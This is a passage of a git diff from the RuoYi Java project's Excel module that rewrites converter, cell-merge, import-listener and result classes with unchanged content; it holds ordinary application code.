* - * @author Lion Li - */ -@Slf4j -public class ExcelBigNumberConvert implements Converter { - - @Override - public Class supportJavaTypeKey() { - return Long.class; - } - - @Override - public CellDataTypeEnum supportExcelTypeKey() { - return CellDataTypeEnum.STRING; - } - - @Override - public Long convertToJavaData(ReadCellData cellData, ExcelContentProperty contentProperty, GlobalConfiguration globalConfiguration) { - return Convert.toLong(cellData.getData()); - } - - @Override - public WriteCellData convertToExcelData(Long object, ExcelContentProperty contentProperty, GlobalConfiguration globalConfiguration) { - if (ObjectUtil.isNotNull(object)) { - String str = Convert.toStr(object); - if (str.length() > 15) { - return new WriteCellData<>(str); - } - } - WriteCellData cellData = new WriteCellData<>(new BigDecimal(object)); - cellData.setType(CellDataTypeEnum.NUMBER); - return cellData; - } - -} +package org.dromara.common.excel.convert; + +import cn.hutool.core.convert.Convert; +import cn.hutool.core.util.ObjectUtil; +import com.alibaba.excel.converters.Converter; +import com.alibaba.excel.enums.CellDataTypeEnum; +import com.alibaba.excel.metadata.GlobalConfiguration; +import com.alibaba.excel.metadata.data.ReadCellData; +import com.alibaba.excel.metadata.data.WriteCellData; +import com.alibaba.excel.metadata.property.ExcelContentProperty; +import lombok.extern.slf4j.Slf4j; + +import java.math.BigDecimal; + +/** + * 大数值转换 + * Excel 数值长度位15位 大于15位的数值转换位字符串 + * + * @author Lion Li + */ +@Slf4j +public class ExcelBigNumberConvert implements Converter { + + @Override + public Class supportJavaTypeKey() { + return Long.class; + } + + @Override + public CellDataTypeEnum supportExcelTypeKey() { + return CellDataTypeEnum.STRING; + } + + @Override + public Long convertToJavaData(ReadCellData cellData, ExcelContentProperty contentProperty, GlobalConfiguration globalConfiguration) { + return Convert.toLong(cellData.getData()); + } + + @Override + public WriteCellData convertToExcelData(Long object, ExcelContentProperty contentProperty, GlobalConfiguration globalConfiguration) { + if (ObjectUtil.isNotNull(object)) { + String str = Convert.toStr(object); + if (str.length() > 15) { + return new WriteCellData<>(str); + } + } + WriteCellData cellData = new WriteCellData<>(new BigDecimal(object)); + cellData.setType(CellDataTypeEnum.NUMBER); + return cellData; + } + +} diff --git a/ruoyi-common/ruoyi-common-excel/src/main/java/org/dromara/common/excel/convert/ExcelDictConvert.java b/ruoyi-common/ruoyi-common-excel/src/main/java/org/dromara/common/excel/convert/ExcelDictConvert.java index 1626c89..0cdef82 100644 --- a/ruoyi-common/ruoyi-common-excel/src/main/java/org/dromara/common/excel/convert/ExcelDictConvert.java +++ b/ruoyi-common/ruoyi-common-excel/src/main/java/org/dromara/common/excel/convert/ExcelDictConvert.java @@ -1,73 +1,73 @@ -package org.dromara.common.excel.convert; - -import cn.hutool.core.annotation.AnnotationUtil; -import cn.hutool.core.convert.Convert; -import cn.hutool.core.util.ObjectUtil; -import com.alibaba.excel.converters.Converter; -import com.alibaba.excel.enums.CellDataTypeEnum; -import com.alibaba.excel.metadata.GlobalConfiguration; -import com.alibaba.excel.metadata.data.ReadCellData; -import com.alibaba.excel.metadata.data.WriteCellData; -import com.alibaba.excel.metadata.property.ExcelContentProperty; -import lombok.extern.slf4j.Slf4j; -import org.dromara.common.core.service.DictService; -import org.dromara.common.core.utils.SpringUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.excel.annotation.ExcelDictFormat; -import org.dromara.common.excel.utils.ExcelUtil; - -import java.lang.reflect.Field; - -/** - * 字典格式化转换处理 - * - * @author Lion Li - */ -@Slf4j -public class ExcelDictConvert implements Converter { - - @Override - public Class supportJavaTypeKey() { - return Object.class; - } - - @Override - public CellDataTypeEnum supportExcelTypeKey() { - return null; - } - - @Override - public Object convertToJavaData(ReadCellData cellData, ExcelContentProperty contentProperty, GlobalConfiguration globalConfiguration) { - ExcelDictFormat anno = getAnnotation(contentProperty.getField()); - String type = anno.dictType(); - String label = cellData.getStringValue(); - String value; - if (StringUtils.isBlank(type)) { - value = ExcelUtil.reverseByExp(label, anno.readConverterExp(), anno.separator()); - } else { - value = SpringUtils.getBean(DictService.class).getDictValue(type, label, anno.separator()); - } - return Convert.convert(contentProperty.getField().getType(), value); - } - - @Override - public WriteCellData convertToExcelData(Object object, ExcelContentProperty contentProperty, GlobalConfiguration globalConfiguration) { - if (ObjectUtil.isNull(object)) { - return new WriteCellData<>(""); - } - ExcelDictFormat anno = getAnnotation(contentProperty.getField()); - String type = anno.dictType(); - String value = Convert.toStr(object); - String label; - if (StringUtils.isBlank(type)) { - label = ExcelUtil.convertByExp(value, anno.readConverterExp(), anno.separator()); - } else { - label = SpringUtils.getBean(DictService.class).getDictLabel(type, value, anno.separator()); - } - return new WriteCellData<>(label); - } - - private ExcelDictFormat getAnnotation(Field field) { - return AnnotationUtil.getAnnotation(field, ExcelDictFormat.class); - } -} +package org.dromara.common.excel.convert; + +import cn.hutool.core.annotation.AnnotationUtil; +import cn.hutool.core.convert.Convert; +import cn.hutool.core.util.ObjectUtil; +import com.alibaba.excel.converters.Converter; +import com.alibaba.excel.enums.CellDataTypeEnum; +import com.alibaba.excel.metadata.GlobalConfiguration; +import com.alibaba.excel.metadata.data.ReadCellData; +import com.alibaba.excel.metadata.data.WriteCellData; +import com.alibaba.excel.metadata.property.ExcelContentProperty; +import lombok.extern.slf4j.Slf4j; +import org.dromara.common.core.service.DictService; +import org.dromara.common.core.utils.SpringUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.excel.annotation.ExcelDictFormat; +import org.dromara.common.excel.utils.ExcelUtil; + +import java.lang.reflect.Field; + +/** + * 字典格式化转换处理 + * + * @author Lion Li + */ +@Slf4j +public class ExcelDictConvert implements Converter { + + @Override + public Class supportJavaTypeKey() { + return Object.class; + } + + @Override + public CellDataTypeEnum supportExcelTypeKey() { + return null; + } + + @Override + public Object convertToJavaData(ReadCellData cellData, ExcelContentProperty contentProperty, GlobalConfiguration globalConfiguration) { + ExcelDictFormat anno = getAnnotation(contentProperty.getField()); + String type = anno.dictType(); + String label = cellData.getStringValue(); + String value; + if (StringUtils.isBlank(type)) { + value = ExcelUtil.reverseByExp(label, anno.readConverterExp(), anno.separator()); + } else { + value = SpringUtils.getBean(DictService.class).getDictValue(type, label, anno.separator()); + } + return Convert.convert(contentProperty.getField().getType(), value); + } + + @Override + public WriteCellData convertToExcelData(Object object, ExcelContentProperty contentProperty, GlobalConfiguration globalConfiguration) { + if (ObjectUtil.isNull(object)) { + return new WriteCellData<>(""); + } + ExcelDictFormat anno = getAnnotation(contentProperty.getField()); + String type = anno.dictType(); + String value = Convert.toStr(object); + String label; + if (StringUtils.isBlank(type)) { + label = ExcelUtil.convertByExp(value, anno.readConverterExp(), anno.separator()); + } else { + label = SpringUtils.getBean(DictService.class).getDictLabel(type, value, anno.separator()); + } + return new WriteCellData<>(label); + } + + private ExcelDictFormat getAnnotation(Field field) { + return AnnotationUtil.getAnnotation(field, ExcelDictFormat.class); + } +} diff --git a/ruoyi-common/ruoyi-common-excel/src/main/java/org/dromara/common/excel/convert/ExcelEnumConvert.java b/ruoyi-common/ruoyi-common-excel/src/main/java/org/dromara/common/excel/convert/ExcelEnumConvert.java index 701a27e..4925575 100644 --- a/ruoyi-common/ruoyi-common-excel/src/main/java/org/dromara/common/excel/convert/ExcelEnumConvert.java +++ b/ruoyi-common/ruoyi-common-excel/src/main/java/org/dromara/common/excel/convert/ExcelEnumConvert.java @@ -1,87 +1,87 @@ -package org.dromara.common.excel.convert; - -import cn.hutool.core.annotation.AnnotationUtil; -import cn.hutool.core.convert.Convert; -import cn.hutool.core.util.ObjectUtil; -import com.alibaba.excel.converters.Converter; -import com.alibaba.excel.enums.CellDataTypeEnum; -import com.alibaba.excel.metadata.GlobalConfiguration; -import com.alibaba.excel.metadata.data.ReadCellData; -import com.alibaba.excel.metadata.data.WriteCellData; -import com.alibaba.excel.metadata.property.ExcelContentProperty; -import lombok.extern.slf4j.Slf4j; -import org.dromara.common.core.utils.reflect.ReflectUtils; -import org.dromara.common.excel.annotation.ExcelEnumFormat; - -import java.lang.reflect.Field; -import java.util.HashMap; -import java.util.Map; - -/** - * 枚举格式化转换处理 - * - * @author Liang - */ -@Slf4j -public class ExcelEnumConvert implements Converter { - - @Override - public Class supportJavaTypeKey() { - return Object.class; - } - - @Override - public CellDataTypeEnum supportExcelTypeKey() { - return null; - } - - @Override - public Object convertToJavaData(ReadCellData cellData, ExcelContentProperty contentProperty, GlobalConfiguration globalConfiguration) { - cellData.checkEmpty(); - // Excel中填入的是枚举中指定的描述 - Object textValue = switch (cellData.getType()) { - case STRING, DIRECT_STRING, RICH_TEXT_STRING -> cellData.getStringValue(); - case NUMBER -> cellData.getNumberValue(); - case BOOLEAN -> cellData.getBooleanValue(); - default -> throw new IllegalArgumentException("单元格类型异常!"); - }; - // 如果是空值 - if (ObjectUtil.isNull(textValue)) { - return null; - } - Map enumCodeToTextMap = beforeConvert(contentProperty); - // 从Java输出至Excel是code转text - // 因此从Excel转Java应该将text与code对调 - Map enumTextToCodeMap = new HashMap<>(); - enumCodeToTextMap.forEach((key, value) -> enumTextToCodeMap.put(value, key)); - // 应该从text -> code中查找 - Object codeValue = enumTextToCodeMap.get(textValue); - return Convert.convert(contentProperty.getField().getType(), codeValue); - } - - @Override - public WriteCellData convertToExcelData(Object object, ExcelContentProperty contentProperty, GlobalConfiguration globalConfiguration) { - if (ObjectUtil.isNull(object)) { - return new WriteCellData<>(""); - } - Map enumValueMap = beforeConvert(contentProperty); - String value = Convert.toStr(enumValueMap.get(object), ""); - return new WriteCellData<>(value); - } - - private Map beforeConvert(ExcelContentProperty contentProperty) { - ExcelEnumFormat anno = getAnnotation(contentProperty.getField()); - Map enumValueMap = new HashMap<>(); - Enum[] enumConstants = anno.enumClass().getEnumConstants(); - for (Enum enumConstant : enumConstants) { - Object codeValue = ReflectUtils.invokeGetter(enumConstant, anno.codeField()); - String textValue = ReflectUtils.invokeGetter(enumConstant, anno.textField()); - enumValueMap.put(codeValue, textValue); - } - return enumValueMap; - } - - private ExcelEnumFormat getAnnotation(Field field) { - return AnnotationUtil.getAnnotation(field, ExcelEnumFormat.class); - } -} +package org.dromara.common.excel.convert; + +import cn.hutool.core.annotation.AnnotationUtil; +import cn.hutool.core.convert.Convert; +import cn.hutool.core.util.ObjectUtil; +import com.alibaba.excel.converters.Converter; +import com.alibaba.excel.enums.CellDataTypeEnum; +import com.alibaba.excel.metadata.GlobalConfiguration; +import com.alibaba.excel.metadata.data.ReadCellData; +import com.alibaba.excel.metadata.data.WriteCellData; +import com.alibaba.excel.metadata.property.ExcelContentProperty; +import lombok.extern.slf4j.Slf4j; +import org.dromara.common.core.utils.reflect.ReflectUtils; +import org.dromara.common.excel.annotation.ExcelEnumFormat; + +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.Map; + +/** + * 枚举格式化转换处理 + * + * @author Liang + */ +@Slf4j +public class ExcelEnumConvert implements Converter { + + @Override + public Class supportJavaTypeKey() { + return Object.class; + } + + @Override + public CellDataTypeEnum supportExcelTypeKey() { + return null; + } + + @Override + public Object convertToJavaData(ReadCellData cellData, ExcelContentProperty contentProperty, GlobalConfiguration globalConfiguration) { + cellData.checkEmpty(); + // Excel中填入的是枚举中指定的描述 + Object textValue = switch (cellData.getType()) { + case STRING, DIRECT_STRING, RICH_TEXT_STRING -> cellData.getStringValue(); + case NUMBER -> cellData.getNumberValue(); + case BOOLEAN -> cellData.getBooleanValue(); + default -> throw new IllegalArgumentException("单元格类型异常!"); + }; + // 如果是空值 + if (ObjectUtil.isNull(textValue)) { + return null; + } + Map enumCodeToTextMap = beforeConvert(contentProperty); + // 从Java输出至Excel是code转text + // 因此从Excel转Java应该将text与code对调 + Map enumTextToCodeMap = new HashMap<>(); + enumCodeToTextMap.forEach((key, value) -> enumTextToCodeMap.put(value, key)); + // 应该从text -> code中查找 + Object codeValue = enumTextToCodeMap.get(textValue); + return Convert.convert(contentProperty.getField().getType(), codeValue); + } + + @Override + public WriteCellData convertToExcelData(Object object, ExcelContentProperty contentProperty, GlobalConfiguration globalConfiguration) { + if (ObjectUtil.isNull(object)) { + return new WriteCellData<>(""); + } + Map enumValueMap = beforeConvert(contentProperty); + String value = Convert.toStr(enumValueMap.get(object), ""); + return new WriteCellData<>(value); + } + + private Map beforeConvert(ExcelContentProperty contentProperty) { + ExcelEnumFormat anno = getAnnotation(contentProperty.getField()); + Map enumValueMap = new HashMap<>(); + Enum[] enumConstants = anno.enumClass().getEnumConstants(); + for (Enum enumConstant : enumConstants) { + Object codeValue = ReflectUtils.invokeGetter(enumConstant, anno.codeField()); + String textValue = ReflectUtils.invokeGetter(enumConstant, anno.textField()); + enumValueMap.put(codeValue, textValue); + } + return enumValueMap; + } + + private ExcelEnumFormat getAnnotation(Field field) { + return AnnotationUtil.getAnnotation(field, ExcelEnumFormat.class); + } +} diff --git a/ruoyi-common/ruoyi-common-excel/src/main/java/org/dromara/common/excel/core/CellMergeStrategy.java b/ruoyi-common/ruoyi-common-excel/src/main/java/org/dromara/common/excel/core/CellMergeStrategy.java index 7c7721c..bf22025 100644 --- a/ruoyi-common/ruoyi-common-excel/src/main/java/org/dromara/common/excel/core/CellMergeStrategy.java +++ b/ruoyi-common/ruoyi-common-excel/src/main/java/org/dromara/common/excel/core/CellMergeStrategy.java @@ -1,157 +1,157 @@ -package org.dromara.common.excel.core; - -import cn.hutool.core.collection.CollUtil; -import cn.hutool.core.util.ReflectUtil; -import cn.hutool.core.util.StrUtil; -import com.alibaba.excel.annotation.ExcelProperty; -import com.alibaba.excel.metadata.Head; -import com.alibaba.excel.write.handler.WorkbookWriteHandler; -import com.alibaba.excel.write.handler.context.WorkbookWriteHandlerContext; -import com.alibaba.excel.write.merge.AbstractMergeStrategy; -import lombok.AllArgsConstructor; -import lombok.Data; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; -import org.apache.poi.ss.usermodel.Cell; -import org.apache.poi.ss.usermodel.Sheet; -import org.apache.poi.ss.util.CellRangeAddress; -import org.dromara.common.core.utils.reflect.ReflectUtils; -import org.dromara.common.excel.annotation.CellMerge; - -import java.lang.reflect.Field; -import java.util.*; - -/** - * 列值重复合并策略 - * - * @author Lion Li - */ -@Slf4j -public class CellMergeStrategy extends AbstractMergeStrategy implements WorkbookWriteHandler { - - private final List cellList; - private final boolean hasTitle; - private int rowIndex; - - public CellMergeStrategy(List list, boolean hasTitle) { - this.hasTitle = hasTitle; - // 行合并开始下标 - this.rowIndex = hasTitle ? 1 : 0; - this.cellList = handle(list, hasTitle); - } - - @Override - protected void merge(Sheet sheet, Cell cell, Head head, Integer relativeRowIndex) { - //单元格写入了,遍历合并区域,如果该Cell在区域内,但非首行,则清空 - final int rowIndex = cell.getRowIndex(); - if (CollUtil.isNotEmpty(cellList)){ - for (CellRangeAddress cellAddresses : cellList) { - final int firstRow = cellAddresses.getFirstRow(); - if (cellAddresses.isInRange(cell) && rowIndex != firstRow){ - cell.setBlank(); - } - } - } - } - - @Override - public void afterWorkbookDispose(final WorkbookWriteHandlerContext context) { - //当前表格写完后,统一写入 - if (CollUtil.isNotEmpty(cellList)){ - for (CellRangeAddress item : cellList) { - context.getWriteContext().writeSheetHolder().getSheet().addMergedRegion(item); - } - } - } - - @SneakyThrows - private List handle(List list, boolean hasTitle) { - List cellList = new ArrayList<>(); - if (CollUtil.isEmpty(list)) { - return cellList; - } - Field[] fields = ReflectUtils.getFields(list.get(0).getClass(), field -> !"serialVersionUID".equals(field.getName())); - - // 有注解的字段 - List mergeFields = new ArrayList<>(); - List mergeFieldsIndex = new ArrayList<>(); - for (int i = 0; i < fields.length; i++) { - Field field = fields[i]; - if (field.isAnnotationPresent(CellMerge.class)) { - CellMerge cm = field.getAnnotation(CellMerge.class); - mergeFields.add(field); - mergeFieldsIndex.add(cm.index() == -1 ? i : cm.index()); - if (hasTitle) { - ExcelProperty property = field.getAnnotation(ExcelProperty.class); - rowIndex = Math.max(rowIndex, property.value().length); - } - } - } - - Map map = new HashMap<>(); - // 生成两两合并单元格 - for (int i = 0; i < list.size(); i++) { - for (int j = 0; j < mergeFields.size(); j++) { - Field field = mergeFields.get(j); - Object val = ReflectUtils.invokeGetter(list.get(i), field.getName()); - - int colNum = mergeFieldsIndex.get(j); - if (!map.containsKey(field)) { - map.put(field, new RepeatCell(val, i)); - } else { - RepeatCell repeatCell = map.get(field); - Object cellValue = repeatCell.getValue(); - if (cellValue == null || "".equals(cellValue)) { - // 空值跳过不合并 - continue; - } - - if (!cellValue.equals(val)) { - if ((i - repeatCell.getCurrent() > 1)) { - cellList.add(new CellRangeAddress(repeatCell.getCurrent() + rowIndex, i + rowIndex - 1, colNum, colNum)); - } - map.put(field, new RepeatCell(val, i)); - } else if (i == list.size() - 1) { - if (i > repeatCell.getCurrent() && isMerge(list, i, field)) { - cellList.add(new CellRangeAddress(repeatCell.getCurrent() + rowIndex, i + rowIndex, colNum, colNum)); - } - } else if (!isMerge(list, i, field)) { - if ((i - repeatCell.getCurrent() > 1)) { - cellList.add(new CellRangeAddress(repeatCell.getCurrent() + rowIndex, i + rowIndex - 1, colNum, colNum)); - } - map.put(field, new RepeatCell(val, i)); - } - } - } - } - return cellList; - } - - private boolean isMerge(List list, int i, Field field) { - boolean isMerge = true; - CellMerge cm = field.getAnnotation(CellMerge.class); - final String[] mergeBy = cm.mergeBy(); - if (StrUtil.isAllNotBlank(mergeBy)) { - //比对当前list(i)和list(i - 1)的各个属性值一一比对 如果全为真 则为真 - for (String fieldName : mergeBy) { - final Object valCurrent = ReflectUtil.getFieldValue(list.get(i), fieldName); - final Object valPre = ReflectUtil.getFieldValue(list.get(i - 1), fieldName); - if (!Objects.equals(valPre, valCurrent)) { - //依赖字段如有任一不等值,则标记为不可合并 - isMerge = false; - } - } - } - return isMerge; - } - - @Data - @AllArgsConstructor - static class RepeatCell { - - private Object value; - - private int current; - - } -} +package org.dromara.common.excel.core; + +import cn.hutool.core.collection.CollUtil; +import cn.hutool.core.util.ReflectUtil; +import cn.hutool.core.util.StrUtil; +import com.alibaba.excel.annotation.ExcelProperty; +import com.alibaba.excel.metadata.Head; +import com.alibaba.excel.write.handler.WorkbookWriteHandler; +import com.alibaba.excel.write.handler.context.WorkbookWriteHandlerContext; +import com.alibaba.excel.write.merge.AbstractMergeStrategy; +import lombok.AllArgsConstructor; +import lombok.Data; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import org.apache.poi.ss.usermodel.Cell; +import org.apache.poi.ss.usermodel.Sheet; +import org.apache.poi.ss.util.CellRangeAddress; +import org.dromara.common.core.utils.reflect.ReflectUtils; +import org.dromara.common.excel.annotation.CellMerge; + +import java.lang.reflect.Field; +import java.util.*; + +/** + * 列值重复合并策略 + * + * @author Lion Li + */ +@Slf4j +public class CellMergeStrategy extends AbstractMergeStrategy implements WorkbookWriteHandler { + + private final List cellList; + private final boolean hasTitle; + private int rowIndex; + + public CellMergeStrategy(List list, boolean hasTitle) { + this.hasTitle = hasTitle; + // 行合并开始下标 + this.rowIndex = hasTitle ? 1 : 0; + this.cellList = handle(list, hasTitle); + } + + @Override + protected void merge(Sheet sheet, Cell cell, Head head, Integer relativeRowIndex) { + //单元格写入了,遍历合并区域,如果该Cell在区域内,但非首行,则清空 + final int rowIndex = cell.getRowIndex(); + if (CollUtil.isNotEmpty(cellList)){ + for (CellRangeAddress cellAddresses : cellList) { + final int firstRow = cellAddresses.getFirstRow(); + if (cellAddresses.isInRange(cell) && rowIndex != firstRow){ + cell.setBlank(); + } + } + } + } + + @Override + public void afterWorkbookDispose(final WorkbookWriteHandlerContext context) { + //当前表格写完后,统一写入 + if (CollUtil.isNotEmpty(cellList)){ + for (CellRangeAddress item : cellList) { + context.getWriteContext().writeSheetHolder().getSheet().addMergedRegion(item); + } + } + } + + @SneakyThrows + private List handle(List list, boolean hasTitle) { + List cellList = new ArrayList<>(); + if (CollUtil.isEmpty(list)) { + return cellList; + } + Field[] fields = ReflectUtils.getFields(list.get(0).getClass(), field -> !"serialVersionUID".equals(field.getName())); + + // 有注解的字段 + List mergeFields = new ArrayList<>(); + List mergeFieldsIndex = new ArrayList<>(); + for (int i = 0; i < fields.length; i++) { + Field field = fields[i]; + if (field.isAnnotationPresent(CellMerge.class)) { + CellMerge cm = field.getAnnotation(CellMerge.class); + mergeFields.add(field); + mergeFieldsIndex.add(cm.index() == -1 ? i : cm.index()); + if (hasTitle) { + ExcelProperty property = field.getAnnotation(ExcelProperty.class); + rowIndex = Math.max(rowIndex, property.value().length); + } + } + } + + Map map = new HashMap<>(); + // 生成两两合并单元格 + for (int i = 0; i < list.size(); i++) { + for (int j = 0; j < mergeFields.size(); j++) { + Field field = mergeFields.get(j); + Object val = ReflectUtils.invokeGetter(list.get(i), field.getName()); + + int colNum = mergeFieldsIndex.get(j); + if (!map.containsKey(field)) { + map.put(field, new RepeatCell(val, i)); + } else { + RepeatCell repeatCell = map.get(field); + Object cellValue = repeatCell.getValue(); + if (cellValue == null || "".equals(cellValue)) { + // 空值跳过不合并 + continue; + } + + if (!cellValue.equals(val)) { + if ((i - repeatCell.getCurrent() > 1)) { + cellList.add(new CellRangeAddress(repeatCell.getCurrent() + rowIndex, i + rowIndex - 1, colNum, colNum)); + } + map.put(field, new RepeatCell(val, i)); + } else if (i == list.size() - 1) { + if (i > repeatCell.getCurrent() && isMerge(list, i, field)) { + cellList.add(new CellRangeAddress(repeatCell.getCurrent() + rowIndex, i + rowIndex, colNum, colNum)); + } + } else if (!isMerge(list, i, field)) { + if ((i - repeatCell.getCurrent() > 1)) { + cellList.add(new CellRangeAddress(repeatCell.getCurrent() + rowIndex, i + rowIndex - 1, colNum, colNum)); + } + map.put(field, new RepeatCell(val, i)); + } + } + } + } + return cellList; + } + + private boolean isMerge(List list, int i, Field field) { + boolean isMerge = true; + CellMerge cm = field.getAnnotation(CellMerge.class); + final String[] mergeBy = cm.mergeBy(); + if (StrUtil.isAllNotBlank(mergeBy)) { + //比对当前list(i)和list(i - 1)的各个属性值一一比对 如果全为真 则为真 + for (String fieldName : mergeBy) { + final Object valCurrent = ReflectUtil.getFieldValue(list.get(i), fieldName); + final Object valPre = ReflectUtil.getFieldValue(list.get(i - 1), fieldName); + if (!Objects.equals(valPre, valCurrent)) { + //依赖字段如有任一不等值,则标记为不可合并 + isMerge = false; + } + } + } + return isMerge; + } + + @Data + @AllArgsConstructor + static class RepeatCell { + + private Object value; + + private int current; + + } +} diff --git a/ruoyi-common/ruoyi-common-excel/src/main/java/org/dromara/common/excel/core/DefaultExcelListener.java b/ruoyi-common/ruoyi-common-excel/src/main/java/org/dromara/common/excel/core/DefaultExcelListener.java index 3d3f5f2..4704520 100644 --- a/ruoyi-common/ruoyi-common-excel/src/main/java/org/dromara/common/excel/core/DefaultExcelListener.java +++ b/ruoyi-common/ruoyi-common-excel/src/main/java/org/dromara/common/excel/core/DefaultExcelListener.java @@ -1,104 +1,104 @@ -package org.dromara.common.excel.core; - -import cn.hutool.core.util.StrUtil; -import com.alibaba.excel.context.AnalysisContext; -import com.alibaba.excel.event.AnalysisEventListener; -import com.alibaba.excel.exception.ExcelAnalysisException; -import com.alibaba.excel.exception.ExcelDataConvertException; -import jakarta.validation.ConstraintViolation; -import jakarta.validation.ConstraintViolationException; -import lombok.NoArgsConstructor; -import lombok.extern.slf4j.Slf4j; -import org.dromara.common.core.utils.StreamUtils; -import org.dromara.common.core.utils.ValidatorUtils; -import org.dromara.common.json.utils.JsonUtils; - -import java.util.Map; -import java.util.Set; - -/** - * Excel 导入监听 - * - * @author Yjoioooo - * @author Lion Li - */ -@Slf4j -@NoArgsConstructor -public class DefaultExcelListener extends AnalysisEventListener implements ExcelListener { - - /** - * 是否Validator检验,默认为是 - */ - private Boolean isValidate = Boolean.TRUE; - - /** - * excel 表头数据 - */ - private Map headMap; - - /** - * 导入回执 - */ - private ExcelResult excelResult; - - public DefaultExcelListener(boolean isValidate) { - this.excelResult = new DefaultExcelResult<>(); - this.isValidate = isValidate; - } - - /** - * 处理异常 - * - * @param exception ExcelDataConvertException - * @param context Excel 上下文 - */ - @Override - public void onException(Exception exception, AnalysisContext context) throws Exception { - String errMsg = null; - if (exception instanceof ExcelDataConvertException excelDataConvertException) { - // 如果是某一个单元格的转换异常 能获取到具体行号 - Integer rowIndex = excelDataConvertException.getRowIndex(); - Integer columnIndex = excelDataConvertException.getColumnIndex(); - errMsg = StrUtil.format("第{}行-第{}列-表头{}: 解析异常
", - rowIndex + 1, columnIndex + 1, headMap.get(columnIndex)); - if (log.isDebugEnabled()) { - log.error(errMsg); - } - } - if (exception instanceof ConstraintViolationException constraintViolationException) { - Set> constraintViolations = constraintViolationException.getConstraintViolations(); - String constraintViolationsMsg = StreamUtils.join(constraintViolations, ConstraintViolation::getMessage, ", "); - errMsg = StrUtil.format("第{}行数据校验异常: {}", context.readRowHolder().getRowIndex() + 1, constraintViolationsMsg); - if (log.isDebugEnabled()) { - log.error(errMsg); - } - } - excelResult.getErrorList().add(errMsg); - throw new ExcelAnalysisException(errMsg); - } - - @Override - public void invokeHeadMap(Map headMap, AnalysisContext context) { - this.headMap = headMap; - log.debug("解析到一条表头数据: {}", JsonUtils.toJsonString(headMap)); - } - - @Override - public void invoke(T data, AnalysisContext context) { - if (isValidate) { - ValidatorUtils.validate(data); - } - excelResult.getList().add(data); - } - - @Override - public void doAfterAllAnalysed(AnalysisContext context) { - log.debug("所有数据解析完成!"); - } - - @Override - public ExcelResult getExcelResult() { - return excelResult; - } - -} +package org.dromara.common.excel.core; + +import cn.hutool.core.util.StrUtil; +import com.alibaba.excel.context.AnalysisContext; +import com.alibaba.excel.event.AnalysisEventListener; +import com.alibaba.excel.exception.ExcelAnalysisException; +import com.alibaba.excel.exception.ExcelDataConvertException; +import jakarta.validation.ConstraintViolation; +import jakarta.validation.ConstraintViolationException; +import lombok.NoArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.dromara.common.core.utils.StreamUtils; +import org.dromara.common.core.utils.ValidatorUtils; +import org.dromara.common.json.utils.JsonUtils; + +import java.util.Map; +import java.util.Set; + +/** + * Excel 导入监听 + * + * @author Yjoioooo + * @author Lion Li + */ +@Slf4j +@NoArgsConstructor +public class DefaultExcelListener extends AnalysisEventListener implements ExcelListener { + + /** + * 是否Validator检验,默认为是 + */ + private Boolean isValidate = Boolean.TRUE; + + /** + * excel 表头数据 + */ + private Map headMap; + + /** + * 导入回执 + */ + private ExcelResult excelResult; + + public DefaultExcelListener(boolean isValidate) { + this.excelResult = new DefaultExcelResult<>(); + this.isValidate = isValidate; + } + + /** + * 处理异常 + * + * @param exception ExcelDataConvertException + * @param context Excel 上下文 + */ + @Override + public void onException(Exception exception, AnalysisContext context) throws Exception { + String errMsg = null; + if (exception instanceof ExcelDataConvertException excelDataConvertException) { + // 如果是某一个单元格的转换异常 能获取到具体行号 + Integer rowIndex = excelDataConvertException.getRowIndex(); + Integer columnIndex = excelDataConvertException.getColumnIndex(); + errMsg = StrUtil.format("第{}行-第{}列-表头{}: 解析异常
", + rowIndex + 1, columnIndex + 1, headMap.get(columnIndex)); + if (log.isDebugEnabled()) { + log.error(errMsg); + } + } + if (exception instanceof ConstraintViolationException constraintViolationException) { + Set> constraintViolations = constraintViolationException.getConstraintViolations(); + String constraintViolationsMsg = StreamUtils.join(constraintViolations, ConstraintViolation::getMessage, ", "); + errMsg = StrUtil.format("第{}行数据校验异常: {}", context.readRowHolder().getRowIndex() + 1, constraintViolationsMsg); + if (log.isDebugEnabled()) { + log.error(errMsg); + } + } + excelResult.getErrorList().add(errMsg); + throw new ExcelAnalysisException(errMsg); + } + + @Override + public void invokeHeadMap(Map headMap, AnalysisContext context) { + this.headMap = headMap; + log.debug("解析到一条表头数据: {}", JsonUtils.toJsonString(headMap)); + } + + @Override + public void invoke(T data, AnalysisContext context) { + if (isValidate) { + ValidatorUtils.validate(data); + } + excelResult.getList().add(data); + } + + @Override + public void doAfterAllAnalysed(AnalysisContext context) { + log.debug("所有数据解析完成!"); + } + + @Override + public ExcelResult getExcelResult() { + return excelResult; + } + +} diff --git a/ruoyi-common/ruoyi-common-excel/src/main/java/org/dromara/common/excel/core/DefaultExcelResult.java b/ruoyi-common/ruoyi-common-excel/src/main/java/org/dromara/common/excel/core/DefaultExcelResult.java index 7373e12..86be205 100644 --- a/ruoyi-common/ruoyi-common-excel/src/main/java/org/dromara/common/excel/core/DefaultExcelResult.java +++ b/ruoyi-common/ruoyi-common-excel/src/main/java/org/dromara/common/excel/core/DefaultExcelResult.java @@ -1,73 +1,73 @@ -package org.dromara.common.excel.core; - -import cn.hutool.core.util.StrUtil; -import lombok.Setter; - -import java.util.ArrayList; -import java.util.List; - -/** - * 默认excel返回对象 - * - * @author Yjoioooo - * @author Lion Li - */ -public class DefaultExcelResult implements ExcelResult { - - /** - * 数据对象list - */ - @Setter - private List list; - - /** - * 错误信息列表 - */ - @Setter - private List errorList; - - public DefaultExcelResult() { - this.list = new ArrayList<>(); - this.errorList = new ArrayList<>(); - } - - public DefaultExcelResult(List list, List errorList) { - this.list = list; - this.errorList = errorList; - } - - public DefaultExcelResult(ExcelResult excelResult) { - this.list = excelResult.getList(); - this.errorList = excelResult.getErrorList(); - } - - @Override - public List getList() { - return list; - } - - @Override - public List getErrorList() { - return errorList; - } - - /** - * 获取导入回执 - * - * @return 导入回执 - */ - @Override - public String getAnalysis() { - int successCount = list.size(); - int errorCount = errorList.size(); - if (successCount == 0) { - return "读取失败,未解析到数据"; - } else { - if (errorCount == 0) { - return StrUtil.format("恭喜您,全部读取成功!共{}条", successCount); - } else { - return ""; - } - } - } -} +package org.dromara.common.excel.core; + +import cn.hutool.core.util.StrUtil; +import lombok.Setter; + +import java.util.ArrayList; +import java.util.List; + +/** + * 默认excel返回对象 + * + * @author 